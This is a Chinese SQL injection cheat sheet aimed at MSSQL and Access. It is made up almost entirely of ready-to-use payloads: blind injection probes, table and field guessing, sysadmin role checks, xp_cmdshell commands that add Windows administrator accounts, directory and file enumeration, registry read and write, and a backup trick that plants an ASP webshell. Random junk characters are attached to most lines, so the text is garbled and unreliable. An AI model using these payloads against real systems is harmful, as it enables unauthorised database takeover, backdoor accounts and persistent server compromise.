1.判断是否有注入;and 1=1 ;and 1=2 Sq?,C&LsA
2.初步判断是否是mssql ;and user>0 g* %bzfk=|
Y3D3.T6Q
3.注入参数是字符'and [查询条件] and ''=' D 5=C^`$2
fW(;
4.搜索时没过滤参数的'and [查询条件] and '%25'=' *zJD$+Fo
#]"/{Z
5.判断数据库系统 2q+la|1Cr
DKR<W.!*t
;and (select count(*) from sysobjects)>0 mssql OdO{xG G@
4"LPJX)Q
;and (select count(*) from msysobjects)>0 access baqn7k"
N[>:@h
"_t4F4z
X88F>1}
6.猜数据库 ;and (select Count(*) from [数据库名])>0 /#29Y^Z)=
wtlB
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [70Y,,w
Mk<m6E$L
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 IT,"8s
FSv1X
9.(1)猜字段的ascii值(access) cS4xe(n8
1U
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 nZe\5`
AmZuo_
(2)猜字段的ascii值(mssql) I`lDWL
[S%J*sz~
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 HP#ki !'
9 _eS`,'
10.测试权限结构(mssql) fH&zR#T7U4
'wa g |-
ubD#I{~J
%@>YNPD`E
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ACgt"
M.3F
$\+"qs)
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- -H4PRCDH
JW-|<CJ
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- X!o@f$
!!9{U%s
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .-J`d=Krp
8`a,D5U:
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- S3; lKr
L+Eu
d
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9wzwY[{
]Uu
aN8
;and 1=(select IS_MEMBER('db_owner'));-- b"^\)|*4;
r9<V%PHv
fa"\=V2S
ZH% we
11.添加mssql和系统的帐户 ^mAJ[^%
O!/ekU|,r
;exec master.dbo.sp_addlogin username;-- :|=- (z
;exec master.dbo.sp_password null,username,password;-- h5j<u
TWtC-wI;
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
M'YJ"
I`3d;l;d
;exec master.dbo.xp_cmdshell 'net user username password kw3+>{\
h:_NA
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {QMN=O&n
O
3G:0xF
;exec master.dbo.xp_cmdshell 'net user username password /add';-- WBa /IM
xwi!:PAf,o
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- R<>tDwsZGa
z[*zuo
KA?v.s
G<|:605
12.(1)遍历目录 ssPI$IRg!
&h\7^=s.
;create table dirs(paths varchar(100), id int) QOd!]*W`?m
'g2vX&=$A
;insert dirs exec master.dbo.xp_dirtree 'c:\' s_TD4~
$
XYMxG:
;and (select top 1 paths from dirs)>0 FQ1arUOFW,
ghX:"vV{n
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $:(z}sYQ7
0Lx3]"v
?H<~ac2e
\d:h$
(2)遍历目录 @FU~1u3d
CPVmF$A-
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #sS9vv7i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 G#|Hu;C6"
K0LbZMn,/
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 :4U0I:J#
2?*||c==*
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 vsc&Ju%k
}{A?PHV5
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 j"i#R1T
?@>;/@
*CzCUu:%t
;HP#bx
13.mssql中的存储过程 2p+C%"n>
^B|YO8.v
xp_regenumvalues 注册表根键, 子键 >r=6A
1!d)PK>1$
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 VJ*\pM@no
$3]b>v
xp_regread 根键,子键,键值名 t GC2
^a#~
brfKd]i
;exec xp_regread Ms,@t^nk
>J>>\Y(p
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 lAz2%s{6
Psp^@
xp_regwrite 根键,子键, 值名, 值类型, 值 .N!{ U
6W$rY] h!
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 [1Uz_HY["3
i_NJ -K
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 fQP,=
H@Q`
xp_regdeletevalue 根键,子键,值名 puA|NT
![).zi+m
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 8!;$qVt
|UYED%dC
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %2}C'MqS
EDtCNqBS~2
v iJJ
e'\2
KI`11lJW~
14.mssql的backup创建webshell 16?C@`S>
RT/qcS^Oz
use model t{6ap +%L
CIEJql?`
create table cmd(str image); X% X$Y6
Hv8H.^D>
insert into cmd(str) values (''); LJj=]_
ydB$4ZB3[
backup database model to disk='c:\l.asp'; )d:K:YXt
g#|oif9o
obj!I7
dHq#
15.mssql内置函数 McP~}"!^
gJK KR]4*
;and (select @@version)>0 获得Windows的版本号 K?[)E3
%Lyz_2q A
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1|]xo3j"'
dqxd3,Z
;and (select user_name())>0 爆当前系统的连接用户 ,z G(u 1
%<AS?Ry
;and (select db_name())>0 得到当前连接的数据库 _[F@1NJ
Qm; BUG]
O k*Z
>T QZk4$
16.简洁的webshell {\L|s5=yr
4#7Umj
use model 9qre|AA
v&r=-}z2!
create table cmd(str image); u1N1n;#
06jMj26!
insert into cmd(str) values (''); GQ[pG{_+
uOre,AQR
backup database model to disk='g:\wwwtest\l.asp';